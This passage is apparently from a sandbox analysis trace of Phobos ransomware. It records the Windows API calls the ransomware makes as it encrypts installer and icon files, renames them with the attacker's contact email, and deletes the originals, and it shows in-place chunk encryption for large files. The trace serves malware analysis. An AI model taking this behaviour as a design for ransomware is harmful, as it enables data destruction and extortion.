(lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0048.329] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0048.329] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0048.329] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0048.329] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10cc30) returned 1 [0048.329] CryptSetKeyParam (hKey=0x10cc30, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0048.329] ReadFile (in: hFile=0x2e4, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x8f66, lpOverlapped=0x0) returned 1 [0048.339] CryptEncrypt (in: hKey=0x10cc30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x8f70, dwBufLen=0x8f70 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x8f70) returned 1 [0048.339] WriteFile (in: hFile=0x324, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x8f70, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x8f70, lpOverlapped=0x0) returned 1 [0048.341] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10ccf0) returned 1 [0048.341] CryptSetKeyParam (hKey=0x10ccf0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0048.341] CryptEncrypt (in: hKey=0x10ccf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x40, dwBufLen=0x40 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x40) returned 1 [0048.341] CryptDestroyKey (hKey=0x10ccf0) returned 1 [0048.341] WriteFile (in: hFile=0x324, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0xf2, lpOverlapped=0x0) returned 1 [0048.341] CryptDestroyKey (hKey=0x10cc30) returned 1 [0048.341] CloseHandle (hObject=0x2e4) returned 1 [0048.341] CloseHandle (hObject=0x324) returned 1 [0048.342] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico")) returned 1 [0048.343] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0048.343] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0048.343] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=1150) returned 1 [0048.343] CloseHandle (hObject=0x324) returned 1 [0048.343] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico")) returned 0x80 [0048.344] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0048.344] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0048.344] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0048.344] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0048.344] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0048.344] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10cb70) returned 1 [0048.344] CryptSetKeyParam (hKey=0x10cb70, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0048.344] ReadFile (in: hFile=0x324, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x47e, lpOverlapped=0x0) returned 1 [0048.404] CryptEncrypt (in: hKey=0x10cb70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x480, dwBufLen=0x480 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x480) returned 1 [0048.404] WriteFile (in: hFile=0x2e4, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x480, lpOverlapped=0x0) returned 1 [0048.404] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10d1b0) returned 1 [0048.404] CryptSetKeyParam (hKey=0x10d1b0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0048.404] CryptEncrypt (in: hKey=0x10d1b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x40, dwBufLen=0x40 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x40) returned 1 [0048.404] CryptDestroyKey (hKey=0x10d1b0) returned 1 [0048.404] WriteFile (in: hFile=0x2e4, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0xf2, lpOverlapped=0x0) returned 1 [0048.405] CryptDestroyKey (hKey=0x10cb70) returned 1 [0048.405] CloseHandle (hObject=0x324) returned 1 [0048.405] CloseHandle (hObject=0x2e4) returned 1 [0048.405] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico")) returned 1 [0048.406] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0048.406] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0048.406] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=10134) returned 1 [0048.406] CloseHandle (hObject=0x2e4) returned 1 [0048.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico")) returned 0x80 [0048.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\warn.ico.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0048.406] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0048.407] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0048.407] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0048.407] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\warn.ico.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0048.407] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10d170) returned 1 [0048.407] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0048.407] ReadFile (in: hFile=0x2e4, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x2796, lpOverlapped=0x0) returned 1 [0048.408] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x27a0, dwBufLen=0x27a0 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x27a0) returned 1 [0048.408] WriteFile (in: hFile=0x324, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x27a0, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x27a0, lpOverlapped=0x0) returned 1 [0048.409] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10cdf0) returned 1 [0048.409] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0048.409] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x40, dwBufLen=0x40 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x40) returned 1 [0048.409] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0048.409] WriteFile (in: hFile=0x324, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0xf2, lpOverlapped=0x0) returned 1 [0048.410] CryptDestroyKey (hKey=0x10d170) returned 1 [0048.410] CloseHandle (hObject=0x2e4) returned 1 [0048.410] CloseHandle (hObject=0x324) returned 1 [0048.410] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico")) returned 1 [0048.411] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0048.411] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0048.411] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=181483595) returned 1 [0048.411] CloseHandle (hObject=0x324) returned 1 [0048.411] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz")) returned 0x80 [0048.412] MoveFileW (lpExistingFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz"), lpNewFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core.mzz.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 1 [0048.412] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core.mzz.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0048.412] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd00 | out: lpNewFilePointer=0x0) returned 1 [0048.412] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd00 | out: lpNewFilePointer=0x0) returned 1 [0048.412] ReadFile (in: hFile=0x324, lpBuffer=0x2e68058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a9fd0c, lpOverlapped=0x0 | out: lpBuffer=0x2e68058*, lpNumberOfBytesRead=0x2a9fd0c*=0x40000, lpOverlapped=0x0) returned 1 [0048.418] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x39b12c3, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd00 | out: lpNewFilePointer=0x0) returned 1 [0048.418] ReadFile (in: hFile=0x324, lpBuffer=0x2ea8058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a9fd0c, lpOverlapped=0x0 | out: lpBuffer=0x2ea8058*, lpNumberOfBytesRead=0x2a9fd0c*=0x40000, lpOverlapped=0x0) returned 1 [0048.442] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0xacd384b, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd00 | out: lpNewFilePointer=0x0) returned 1 [0048.443] ReadFile (in: hFile=0x324, lpBuffer=0x2ee8058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a9fd0c, lpOverlapped=0x0 | out: lpBuffer=0x2ee8058*, lpNumberOfBytesRead=0x2a9fd0c*=0x40000, lpOverlapped=0x0) returned 1 [0048.489] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcf0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd5c | out: phKey=0x2a9fd5c*=0x10ce30) returned 1 [0048.489] CryptSetKeyParam (hKey=0x10ce30, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0048.490] CryptEncrypt (in: hKey=0x10ce30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd10*=0xc0060, dwBufLen=0xc0060 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd10*=0xc0060) returned 1 [0048.491] CryptDestroyKey (hKey=0x10ce30) returned 1 [0048.491] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd38 | out: lpNewFilePointer=0x0) returned 1 [0048.491] WriteFile (in: hFile=0x324, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x2a9fd48, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd48*=0xc0112, lpOverlapped=0x0) returned 1 [0048.502] SetEndOfFile (hFile=0x324) returned 1 [0048.502] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0xacd384b, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd08 | out: lpNewFilePointer=0x0) returned 1 [0048.502] WriteFile (in: hFile=0x324, lpBuffer=0x2f2814a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a9fd14, lpOverlapped=0x0 | out: lpBuffer=0x2f2814a*, lpNumberOfBytesWritten=0x2a9fd14*=0x40000, lpOverlapped=0x0) returned 1 [0048.503] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x39b12c3, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd08 | out: lpNewFilePointer=0x0) returned 1 [0048.503] WriteFile (in: hFile=0x324, lpBuffer=0x2f2814a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a9fd14, lpOverlapped=0x0 | out: lpBuffer=0x2f2814a*, lpNumberOfBytesWritten=0x2a9fd14*=0x40000, lpOverlapped=0x0) returned 1 [0048.504] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd08 | out: lpNewFilePointer=0x0) returned 1 [0048.504] WriteFile (in: hFile=0x324, lpBuffer=0x2f2814a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a9fd14, lpOverlapped=0x0 | out: lpBuffer=0x2f2814a*, lpNumberOfBytesWritten=0x2a9fd14*=0x40000, lpOverlapped=0x0) returned 1 [0048.505] CloseHandle (hObject=0x324) returned 1 [0050.761] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0050.761] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0050.762] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=872448) returned 1 [0050.762] CloseHandle (hObject=0x324) returned 1 [0050.762] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi")) returned 0x80 [0050.762] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.762] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0050.762] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0050.762] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0050.762] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0050.763] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10ce30) returned 1 [0050.763] CryptSetKeyParam (hKey=0x10ce30, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0050.763] ReadFile (in: hFile=0x324, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0xd5000, lpOverlapped=0x0) returned 1 [0050.769] CryptEncrypt (in: hKey=0x10ce30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0xd5010, dwBufLen=0xd5010 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0xd5010) returned 1 [0050.770] WriteFile (in: hFile=0x304, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0xd5010, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0xd5010, lpOverlapped=0x0) returned 1 [0050.783] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10d170) returned 1 [0050.783] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0050.783] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x50, dwBufLen=0x50 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x50) returned 1 [0050.783] CryptDestroyKey (hKey=0x10d170) returned 1 [0050.783] WriteFile (in: hFile=0x304, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x102, lpOverlapped=0x0) returned 1 [0050.783] CryptDestroyKey (hKey=0x10ce30) returned 1 [0050.783] CloseHandle (hObject=0x324) returned 1 [0050.783] CloseHandle (hObject=0x304) returned 1 [0050.797] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi")) returned 1 [0051.516] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0051.516] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0051.517] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=495616) returned 1 [0051.517] CloseHandle (hObject=0x31c) returned 1 [0051.517] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi")) returned 0x80 [0051.517] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0051.517] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0051.517] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0051.517] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0051.517] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0051.518] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10ce30) returned 1 [0051.518] CryptSetKeyParam (hKey=0x10ce30, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0051.518] ReadFile (in: hFile=0x31c, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x79000, lpOverlapped=0x0) returned 1 [0051.523] CryptEncrypt (in: hKey=0x10ce30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x79010, dwBufLen=0x79010 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x79010) returned 1 [0051.524] WriteFile (in: hFile=0x304, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x79010, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x79010, lpOverlapped=0x0) returned 1 [0051.533] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10cf70) returned 1 [0051.533] CryptSetKeyParam (hKey=0x10cf70, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0051.533] CryptEncrypt (in: hKey=0x10cf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x50, dwBufLen=0x50 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x50) returned 1 [0051.533] CryptDestroyKey (hKey=0x10cf70) returned 1 [0051.533] WriteFile (in: hFile=0x304, 